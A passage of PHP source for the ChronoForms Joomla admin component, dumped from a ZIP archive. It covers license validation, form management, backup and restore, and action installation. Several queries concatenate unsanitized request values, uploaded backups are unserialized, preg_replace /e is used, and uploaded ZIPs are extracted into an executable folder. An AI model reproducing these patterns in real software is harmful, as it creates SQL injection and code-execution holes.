'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $database->setQuery( "UPDATE `#__components` SET params='".$newparams."' WHERE id='".$result->id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } //} } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your Install was validated successfully' ); }else if($validstatus == 'invalid'){ $query = "SELECT * FROM `#__components` WHERE `option` = 'com_chronoforms' AND parent='0' AND admin_menu_link='option=com_chronoforms'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ $newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=0'; $database->setQuery( "UPDATE `#__components` SET params='".$newparams."' WHERE id='".$result->id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'We couldn\'t validate your key because of some wrong data used' ); }else{ if(trim(JRequest::getVar('instantcode'))){ $step1 = base64_decode(trim(JRequest::getVar('instantcode'))); $step2 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), 0, 7), '', $step1); $step3 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), - strlen(md5(str_replace('www.', '', strtolower($matches[2])))) + 7), '', $step2); $step4 = str_replace(substr($configs->get('licensecode', ''), 0, 10), '', $step3); $step5 = str_replace(substr($configs->get('licensecode', ''), - strlen($configs->get('licensecode', '')) + 10), '', $step4); //echo (int)$step5;return; //if((((int)$step5 + (24 * 60 * 60)) > strtotime(date('d-m-Y H:i:s')))||(((int)$step5 - (24 * 60 * 60)) < strtotime(date('d-m-Y H:i:s')))){ if(((int)$step5 < (strtotime("now") + (24 * 60 * 60)))&&((int)$step5 > (strtotime("now") - (24 * 60 * 60)))){ $query = "SELECT * FROM `#__components` WHERE `option` = 'com_chronoforms' AND parent='0' AND admin_menu_link='option=com_chronoforms'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ $newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $database->setQuery( "UPDATE `#__components` SET params='".$newparams."' WHERE id='".$result->id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your key was validated successfully' ); }else{ $mainframe->redirect( "index.php?option=com_chronoforms", 'Invalid instant code' ); } }else{ $query = "SELECT * FROM `#__components` WHERE `option` = 'com_chronoforms' AND parent='0' AND admin_menu_link='option=com_chronoforms'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ $newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=0'; $database->setQuery("UPDATE `#__components` SET params='".$newparams."' WHERE id='".$result->id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'We couldn\'t validate your key because your hosting server doesn\'t have neither the CURL library nor the fsockopen functions or they may exist but don\'t function properly, please contact your host admin to fix them or contact us here Or at this email address : webmaster@chronoengine.com' ); } } } } ?>PK@y>\3components/com_chronoforms/versions/j1.7/index.htmlnuW+APK@y>\C&**>components/com_chronoforms/versions/j1.7/admin.chronoforms.phpnuW+AsetQuery("SELECT * FROM #__extensions WHERE `element` = 'com_chronoforms' AND `type` = 'component'"); $result = $database->loadObject(); if(!empty($result)){ $params = new JParameter($result->params); return (bool)$params->get('licensevalid', 0); }else{ return false; } } public static function validatelicense(){ if(isset($_POST['instantcode'])){ ChronoFormsAdminVersion::validatelicensedata(); }else{ $database = JFactory::getDBO(); $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $params = new JParameter($result->params); HTML_Admin_ChronoForms::validatelicense($params); } } public static function validatelicensedata(){ $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); preg_match('/http(s)*:\/\/(.*?)\//i', $uri->root(), $matches); $database = JFactory::getDBO(); $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); //$configs = JComponentHelper::getParams('com_chronoforms'); $configs = new JParameter($result->params); $postfields = array(); if(isset($_POST['licensecode']) && !empty($_POST['licensecode'])){ $configs->set('licensecode', $_POST['licensecode']); } $postfields['license_key'] = $configs->get('licensecode', ''); $postfields['domain_name'] = $matches[2]; $postfields['pid'] = $_POST['pid']; $validstatus = false; if(empty($postfields['license_key'])){ $mainframe->redirect("index.php?option=com_chronoforms&task=validatelicense", 'You didn\'t enter your validation key.'); } if(trim(JRequest::getVar('instantcode')) && $configs->get('licensecode', '')){ $step1 = base64_decode(trim(JRequest::getVar('instantcode'))); $step2 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), 0, 7), '', $step1); $step3 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), - strlen(md5(str_replace('www.', '', strtolower($matches[2])))) + 7), '', $step2); $step4 = str_replace(substr($configs->get('licensecode', ''), 0, 10), '', $step3); $step5 = str_replace(substr($configs->get('licensecode', ''), - strlen($configs->get('licensecode', '')) + 10), '', $step4); //echo (int)$step5;return; //if((((int)$step5 + (24 * 60 * 60)) > strtotime(date('d-m-Y H:i:s')))||(((int)$step5 - (24 * 60 * 60)) < strtotime(date('d-m-Y H:i:s')))){ if(((int)$step5 < (strtotime("now") + (24 * 60 * 60)))&&((int)$step5 > (strtotime("now") - (24 * 60 * 60)))){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your key was validated successfully' ); }else{ //$mainframe->redirect( "index.php?option=com_chronoforms", 'Invalid instant code' ); } } if(function_exists('fsockopen')){ $validstatus = ChronoFormsAdmin::validationconnect('http', 'www.chronoengine.com', $port='80', $path='/index.php?option=com_chronocontact&task=extra&chronoformname=validateLicense', $postfields); } if((!$validstatus)||($validstatus == 'error')||!function_exists('fsockopen')){ if (!function_exists('curl_init')){ $validstatus = false; }else{ $fields = ''; $ch = curl_init(); //$postfields = array(); foreach( $postfields as $key => $value ) $fields .= "$key=" . urlencode( $value ) . "&"; curl_setopt($ch, CURLOPT_URL, 'http://www.chronoengine.com/index.php?option=com_chronocontact&task=extra&chronoformname=validateLicense'); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POSTFIELDS, rtrim( $fields, "& " )); if($configs->get('curlproxy', '')){ curl_setopt($ch, CURLOPT_PROXY, $configs->get('curlproxy')); } $output = curl_exec($ch); curl_close($ch); $validstatus = $output; } } //return $validstatus; if($validstatus == 'valid'){ if($configs->get('licensecode', '')){ //if(!$configs->get('licensevalid', '')){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } //} } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your Install was validated successfully' ); }else if($validstatus == 'invalid'){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=0'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 0); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'We couldn\'t validate your key because of some wrong data used' ); }else{ if(trim(JRequest::getVar('instantcode'))){ $step1 = base64_decode(trim(JRequest::getVar('instantcode'))); $step2 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), 0, 7), '', $step1); $step3 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), - strlen(md5(str_replace('www.', '', strtolower($matches[2])))) + 7), '', $step2); $step4 = str_replace(substr($configs->get('licensecode', ''), 0, 10), '', $step3); $step5 = str_replace(substr($configs->get('licensecode', ''), - strlen($configs->get('licensecode', '')) + 10), '', $step4); //echo (int)$step5;return; //if((((int)$step5 + (24 * 60 * 60)) > strtotime(date('d-m-Y H:i:s')))||(((int)$step5 - (24 * 60 * 60)) < strtotime(date('d-m-Y H:i:s')))){ if(((int)$step5 < (strtotime("now") + (24 * 60 * 60)))&&((int)$step5 > (strtotime("now") - (24 * 60 * 60)))){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your key was validated successfully' ); }else{ $mainframe->redirect( "index.php?option=com_chronoforms", 'Invalid instant code' ); } }else{ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=0'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 0); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery("UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'We couldn\'t validate your key because your hosting server doesn\'t have neither the CURL library nor the fsockopen functions or they may exist but don\'t function properly, please contact your host admin to fix them or contact us here Or at this email address : webmaster@chronoengine.com' ); } } } } ?>PK@y>\.components/com_chronoforms/versions/index.htmlnuW+APK@y>\`::2components/com_chronoforms/versions/db_updates.phpnuW+AgetTableFields(array($table_name), false); $table_fields = $results[$table_name]; $table_fields = array_keys($table_fields); //add new columns $columns = array( 'app' => "VARCHAR( 100 ) NOT NULL DEFAULT ''" ); foreach($columns as $f => $data){ if(!in_array($f, $table_fields)){ $sql = "ALTER TABLE `#__chronoforms` ADD `".$f."` ".$data.";"; $database->setQuery($sql); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); }else{ $updates++; } } } $mainframe->enqueueMessage("Applied '".$updates."' Database updates successfully."); } } ?>PK@y>\֌L^)components/com_chronoforms/controller.phpnuW+Aparams = $string; }else{ $this->setParams($string); } } function get($k, $v = null){ if(array_key_exists($k, $this->params)){ return $this->params[$k]; }else{ return $v; } } function set($k, $v){ $this->params[$k] = $v; } function setParams($string = ''){ if(strlen(trim(($string))) > 0){ $data = json_decode($string, true); $this->params = $data; }else{ $this->params = array(); } } function toString(){ return json_encode($this->params); } function toArray(){ return $this->params; } function toObject(){ return json_decode(json_encode($this->params)); } } } class ChronoFormsAdmin extends JObject{ function __construct(){ } public static function admin_form(){ require_once(JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'libraries'.DS.'chronoform.php'); require_once(JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'chronoforms.html.php'); $formname = JRequest::getVar('chronoform', ''); $form_id = JRequest::getVar('form_id', ''); $event = JRequest::getVar('event'); if(empty($formname)){ if(empty($form_id)){ $mainframe->redirect("index.php?option=com_chronoforms", "Form doesn't exist!"); }else{ $row = JTable::getInstance('chronoforms', 'Table'); $row->load((int)$form_id); $formname = $row->name; //load some table data $database = JFactory::getDBO(); $table_name = $_POST['table_name']; $result = $database->getTableFields(array($table_name), false); $table_fields = $result[$table_name]; $primary = ''; foreach($table_fields as $table_field => $field_data){ if($field_data->Key == 'PRI'){ $primary = $table_field; } } if(empty($primary)){ JError::raiseWarning(100, "No table key found."); $mainframe->redirect("index.php?option=com_chronoforms"); } //get record data if(isset($_POST['cb']) && !empty($_POST['cb'])){ $_POST['cf_id'] = $_POST['cb'][0]; //load all selected records data $database->setQuery("SELECT * FROM ".$table_name." WHERE ".$primary." IN ('".implode("','", $_POST['cb'])."')"); $_POST['chronoform_data'] = $rows_data = $database->loadAssocList(); }else{ //JError::raiseWarning(100, "Invalid record."); //$mainframe->redirect("index.php?option=com_chronoforms"); } } } $form = CFChronoForm::getInstance($formname); $form->admin = true; //check if the event is the CSV export if($event == 'cf_csv_export'){ $csv_event = array( 'events' => array( 'cf_csv_export' => array( 'actions' => array( 'cfaction_csv_export_gh_9999' => array( 'events' => array( 'cfaction_csv_export_gh_9999_success' => array(), 'cfaction_csv_export_gh_9999_failed' => array() ) ) ) ) ) ); $form->form_details->events_actions_map = base64_encode(serialize($csv_event)); $csv_action_data = new stdClass(); $csv_action_data->type = 'csv_export_gh'; $csv_action_data->order = 9999; $csv_action_data->enabled = 1; $csv_action_params = new JParameter(''); $csv_action_params->set('download_export', 1); $csv_action_params->set('download_nosave', 1); $csv_action_data->params = $csv_action_params->toString(); $csv_action_data->content1 = ''; $form->form_actions[] = $csv_action_data; } $form->process($event); HTML_ChronoForms::processView($form); } public static function action_task(){ $mainframe = JFactory::getApplication(); $form_action = JRequest::getVar('action_name', ''); if(!empty($form_action)){ //load the action PHP file $action_file = JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_actions'.DS.$form_action.DS.$form_action.'.php'; require_once($action_file); $actionclassname = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", 'cfaction_'.$form_action); if(class_exists($actionclassname)){ $actionclass = new $actionclassname; $fn = JRequest::getVar('fn', ''); if(!empty($fn)){ echo $actionclass->$fn(); } }else{ $action_params = array(); } }else{ echo ''; } $mainframe->close(); } public static function updates(){ if(JRequest::getVar('fn', '') != ''){ switch(JRequest::getVar('fn', '')){ case "db_updates": require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."versions".DS."db_updates.php"); ChronoFormsDbUpdates::updateDB(); break; default: break; } } HTML_Admin_ChronoForms::updates(); } public static function index(){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); //prepare the pagination $option = 'com_chronoforms'; $limit = $mainframe->getUserStateFromRequest($option.'.limit', 'limit', $mainframe->getCfg('list_limit'), 'int'); $limitstart = $mainframe->getUserStateFromRequest($option.'.limitstart', 'limitstart', 0, 'int'); //get apps $app = $mainframe->getUserStateFromRequest($option.'.app', 'select_app', '', 'string'); $apps = array('' => 'Default'); $database->setQuery("SELECT DISTINCT app FROM #__chronoforms"); $all = $database->loadObjectList(); foreach($all as $one){ if(!in_array($one->app, array_keys($apps))){ $apps[$one->app] = $one->app; } } // count entries $database->setQuery("SELECT count(*) FROM #__chronoforms WHERE `app` = '".$app."'"); //$database->setQuery("SELECT count(*) FROM #__chronoforms"); $total = $database->loadResult(); jimport('joomla.html.pagination'); $pageNav = new JPagination($total, $limitstart, $limit); //load forms data $val = ChronoFormsAdminVersion::__getValStatus(); $database->setQuery("SELECT * FROM #__chronoforms WHERE `app` = '".$app."' ORDER BY id LIMIT $pageNav->limitstart,$pageNav->limit"); //$database->setQuery("SELECT * FROM #__chronoforms ORDER BY id LIMIT $pageNav->limitstart,$pageNav->limit"); $forms = $database->loadObjectList(); if(!empty($forms)){ foreach($forms as $k => $form){ //load actions $query = "SELECT * FROM `#__chronoform_actions` WHERE `chronoform_id` = '".$form->id."' AND `enabled` = '1' ORDER BY `order`"; $database->setQuery($query); $forms[$k]->form_actions = $database->loadObjectList(); } } HTML_Admin_ChronoForms::index($forms, $pageNav, $apps, $val); } public static function publish($task = 'publish'){ if(isset($_POST['cb']) && !empty($_POST['cb'])){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $published = ($task == 'publish') ? 1 : 0; $database->setQuery("UPDATE #__chronoforms SET published='".$published."' WHERE id='".$_POST['cb'][0]."'"); if(!$database->query()){ JError::raiseWarning(100, $database->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } $mainframe->redirect("index.php?option=com_chronoforms", "Updated successfully!"); } } public static function edit_form(){ $form = null; if(isset($_POST['cb']) && !empty($_POST['cb'])){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $database->setQuery("SELECT * FROM #__chronoforms WHERE id='".$_POST['cb'][0]."'"); $form = $database->loadObject(); if(!empty($form)){ //load actions $query = "SELECT * FROM `#__chronoform_actions` WHERE `chronoform_id` = '".$form->id."' AND `enabled` = '1' ORDER BY `order`"; $database->setQuery($query); $form->form_actions = $database->loadObjectList(); } } HTML_Admin_ChronoForms::edit($form); } public static function save_form($task = 'save'){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $row = JTable::getInstance('chronoforms', 'Table'); if(isset($_POST['params']) && !empty($_POST['params']) && is_array($_POST['params'])){ $params = new JParameter(''); foreach($_POST['params'] as $k => $v){ if(is_array($v)){ $v = implode(",", $v); } $params->set($k, $v); } $_POST['params'] = $params->toString(); } $post = JRequest::get('post', JREQUEST_ALLOWRAW); if(!$row->bind($post)){ JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } if(!$row->store()){ JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } if($task == 'apply'){ if(isset($row->id) && !empty($row->id)){ $database->setQuery("SELECT * FROM #__chronoforms WHERE id='".$row->id."'"); $form = $database->loadObject(); } $_POST['cb'] = array($row->id); ChronoFormsAdmin::edit_form(); //HTML_Admin_ChronoForms::edit($form); }else{ $mainframe->redirect("index.php?option=com_chronoforms", "Form '".$row->name."' has been saved successfully."); } } public static function delete_temp(){ $database = JFactory::getDBO(); $database->setQuery("SELECT `id` FROM #__chronoforms WHERE `app` = '__TMP__'"); $cbs = $database->loadResultArray(); if(is_array($cbs)){ //$this->delete_form($cbs); } } public static function delete_form($cbs = array()){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); //delete the form with all its actions if(empty($cbs)){ if(isset($_POST['cb']) && !empty($_POST['cb'])){ $cbs = $_POST['cb']; } } if(isset($cbs) && !empty($cbs)){ foreach($cbs as $form_id){ $database->setQuery("DELETE FROM #__chronoforms WHERE id='".$form_id."'"); if(!$database->query()){ JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect("index.php?option=com_chronoforms"); } $database->setQuery("DELETE FROM #__chronoform_actions WHERE chronoform_id='".$form_id."'"); if(!$database->query()){ JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect("index.php?option=com_chronoforms"); } } } $mainframe->redirect("index.php?option=com_chronoforms", "Deleted successfully."); } public static function copy_form(){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $row = JTable::getInstance('chronoforms', 'Table'); if(isset($_POST['cb']) && !empty($_POST['cb'])){ $row->load($_POST['cb'][0]); $row->id = ''; $row->name = $row->name."-Copy"; if(!$row->store()){ JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } //copy actions as well $new_id = $row->id; unset($row); $query = "SELECT `id` FROM `#__chronoform_actions` WHERE `chronoform_id` = '".$_POST['cb'][0]."'"; $database->setQuery($query); $row_ids = $database->loadResultArray(); foreach($row_ids as $id){ $row = JTable::getInstance('chronoformActions', 'Table'); $row->load($id); $row->id = ''; $row->chronoform_id = $new_id; if(!$row->store()){ JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } } } $mainframe->redirect("index.php?option=com_chronoforms", "Form(s) successfully copied."); } public static function backup_forms(){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); if(isset($_POST['cb']) && !empty($_POST['cb'])){ $output = ''; foreach($_POST['cb'] as $form_id){ $database->setQuery("SELECT * FROM #__chronoforms WHERE id='".$form_id."'"); $form = $database->loadAssoc(); $database->setQuery("SELECT * FROM #__chronoform_actions WHERE chronoform_id='".$form_id."' ORDER BY `order` ASC"); $formactions = $database->loadAssocList(); $output .= "<__FORM_START__><__FORM_ROW_START__>".base64_encode(serialize($form))."<__FORM_ROW_END__><__FORM_ACTIONS_START__>".base64_encode(serialize($formactions))."<__FORM_ACTIONS_END__><__FORM_END__>"."\n"; } //get the domain name $uri = JFactory::getURI(); preg_match('/http(s)*:\/\/(.*?)\//i', $uri->root(), $matches); $domain = $matches[2]; //download the file if (ereg('Opera(/| )([0-9].[0-9]{1,2})', $_SERVER['HTTP_USER_AGENT'])) { $UserBrowser = "Opera"; } elseif (ereg('MSIE ([0-9].[0-9]{1,2})', $_SERVER['HTTP_USER_AGENT'])) { $UserBrowser = "IE"; } else { $UserBrowser = ''; } $mime_type = ($UserBrowser == 'IE' || $UserBrowser == 'Opera') ? 'application/octetstream' : 'application/octet-stream'; @ob_end_clean(); ob_start(); header('Content-Type: ' . $mime_type); header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT'); if ($UserBrowser == 'IE') { header('Content-Disposition: inline; filename="' . "CFV4_FormsBackup_ON_".$domain."_".date('d_M_Y_H:i:s').'.cf4bak"'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); } else { header('Content-Disposition: attachment; filename="' . "CFV4_FormsBackup_ON_".$domain."_".date('d_M_Y_H:i:s').'.cf4bak"'); header('Pragma: no-cache'); } print $output; exit(); } } public static function restore_forms(){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); jimport('joomla.utilities.error'); jimport('joomla.filesystem.file'); $files = $_FILES; if(is_array($files) && !empty($files)){ //the file has been uploaded $file = $files['file']; $filename = $file['name']; $exten = explode(".", $filename); if($exten[count($exten)-1] == 'cf4bak'){ $path = JPATH_BASE.DS.'cache'; $uploadedfile = JFile::upload($file['tmp_name'], $path.DS.$filename); if(!$uploadedfile){ JError::raiseWarning(100, "UPLAOD FAILED".": ".$file['error']); $mainframe->redirect("index.php?option=com_chronoforms"); }else{ ChronoFormsAdmin::restore_forms_from_file($path.DS.$filename); $mainframe->redirect("index.php?option=com_chronoforms", "Forms restored successfully."); } }else{ //wrong file extension JError::raiseWarning(100, "The file uploaded was not a Chronoforms V4 forms backup file."); $mainframe->redirect("index.php?option=com_chronoforms"); } }else{ //no file, render the upload page HTML_Admin_ChronoForms::restore_forms(); } } public static function restore_forms_from_file($bak_file_path, $replacers = array()){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $data = file_get_contents($bak_file_path); //preg_match_all('/<__FORM_START__>(.*?)<__FORM_END__>/is', $data, $forms_data); $data = trim($data); $forms_data = explode("\n", $data); if(!empty($data) && !empty($forms_data)){ //loop through each form backup line foreach($forms_data as $form_data){ $form_data = str_replace(array('<__FORM_START__>', '<__FORM_END__>'), '', $form_data); //get form row data $form_row_data = explode('<__FORM_ROW_END__>', $form_data); //get actions data string with tags $form_actions_data = $form_row_data[1]; //get form pure row code $form_row_data = str_replace('<__FORM_ROW_START__>', '', $form_row_data[0]); //decrypt the code and save it $form_row_data = unserialize(base64_decode($form_row_data)); if(!empty($replacers)){ $form_row_data = str_replace(array_keys($replacers), array_values($replacers), var_export($form_row_data, true)); eval('?>'.''); } unset($form_row_data['id']); //unpublish old items with the same name $database->setQuery("UPDATE #__chronoforms SET published='0' WHERE `name` = '".$form_row_data['name']."'"); if(!$database->query()){ JError::raiseWarning(100, "Couldn't unpublish old items with the same name."); } //insert new items $row = JTable::getInstance('chronoforms', 'Table'); if(!$row->bind($form_row_data)){ JError::raiseWarning(100, $row->getError()); } if(!$row->store()){ JError::raiseWarning(100, $row->getError()); } $chronoform_id = $row->id; //get form actions rows pure code $form_actions_data = str_replace(array('<__FORM_ACTIONS_START__>', '<__FORM_ACTIONS_END__>'), '', $form_actions_data); //decrypt the code and save it $form_actions_data = unserialize(base64_decode($form_actions_data)); if(!empty($replacers)){ $form_actions_data = str_replace(array_keys($replacers), array_values($replacers), var_export($form_actions_data, true)); eval('?>'.''); } foreach($form_actions_data as $form_action){ unset($form_action['id']); $form_action['chronoform_id'] = $chronoform_id; $row = JTable::getInstance('chronoformactions', 'Table'); if(!$row->bind($form_action)){ JError::raiseWarning(100, $row->getError()); } if(!$row->store()){ JError::raiseWarning(100, $row->getError()); } } } } return true; } public static function install_action(){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); jimport('joomla.utilities.error'); jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.archive'); $files = $_FILES; if(is_array($files) && !empty($files)){ //the file has been uploaded $file = $files['file']; $filename = $file['name']; $exten = explode(".", $filename); if($exten[count($exten)-1] == 'zip'){ $path = JPATH_BASE.DS.'cache'; $uploadedfile = JFile::upload($file['tmp_name'], $path.DS.$filename); if(!$uploadedfile){ JError::raiseWarning(100, "UPLAOD FAILED".": ".$file['error']); $mainframe->redirect("index.php?option=com_chronoforms"); }else{ $zipper = JArchive::getAdapter('zip'); if($zipper->extract($path.DS.$filename, $path.DS.$exten[0])){ //we could extract the file, copy if(JFolder::copy($path.DS.$exten[0].DS, JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."form_actions".DS, '', true) === true){ $mainframe->redirect("index.php?option=com_chronoforms", "Action installed successfully."); }else{ JError::raiseWarning(100, "Couldn't copy to the destination folder."); $mainframe->redirect("index.php?option=com_chronoforms"); } }else{ //failed JError::raiseWarning(100, "Couldn't extract the file provided."); $mainframe->redirect("index.php?option=com_chronoforms"); } } }else{ //wrong file extension JError::raiseWarning(100, "The file uploaded was not a Chronoforms V4 action installer file."); $mainframe->redirect("index.php?option=com_chronoforms"); } }else{ //no file, render the upload page HTML_Admin_ChronoForms::install_action(); } } public static function form_wizard($task = 'form_wizard'){ $mainframe = JFactory::getApplication(); $form = null; $formactions = null; if($task == 'form_wizard'){ if(isset($_POST['form_id']) || isset($_GET['form_id'])){ $form_id = isset($_POST['form_id']) ? (int)$_POST['form_id'] : (int)$_GET['form_id']; if($form_id > 0){ //load existing form $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $database->setQuery("SELECT * FROM #__chronoforms WHERE id='".$form_id."'"); $form = $database->loadObject(); $database->setQuery("SELECT * FROM #__chronoform_actions WHERE chronoform_id='".$form_id."' ORDER BY `order` ASC"); $formactions = $database->loadObjectList(); //print_r2(unserialize(base64_decode($form->events_actions_map))); } }else{ if(!empty($_POST)){ ChronoFormsAdmin::_save_form_wizard(); $mainframe->redirect("index.php?option=com_chronoforms", "Form '".$_POST['data']['Chronoform']['name']."' has been saved successfully."); } } }else{ //apply task if(!empty($_POST)){ $form_id = isset($_POST['data']['Chronoform']['id']) ? (int)$_POST['data']['Chronoform']['id'] : (int)$_GET['form_id']; $save_id = ChronoFormsAdmin::_save_form_wizard(); if(!$form_id){ $form_id = $save_id; } if(isset($_POST['save_mode']) && $_POST['save_mode'] == 'preview'){ //do nothing }else{ $mainframe->redirect("index.php?option=com_chronoforms&task=form_wizard&form_id=".$form_id, "Changes applied successfully."); } } } HTML_Admin_ChronoForms::form_wizard($form, $formactions); } public static function list_data(){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); if(isset($_POST['cb']) && !empty($_POST['cb'])){ $index = $_POST['cb'][0]; $_POST['table_name'] = $_POST['table_name'][$index]; $_POST['form_id'] = $index; } if((isset($_POST['table_name']) && !empty($_POST['table_name'])) || (isset($_GET['table_name']) && !empty($_GET['table_name']))){ $table_name = isset($_POST['table_name']) ? $_POST['table_name'] : $_GET['table_name']; //load some table data $result = $database->getTableFields(array($table_name), false); $table_fields = 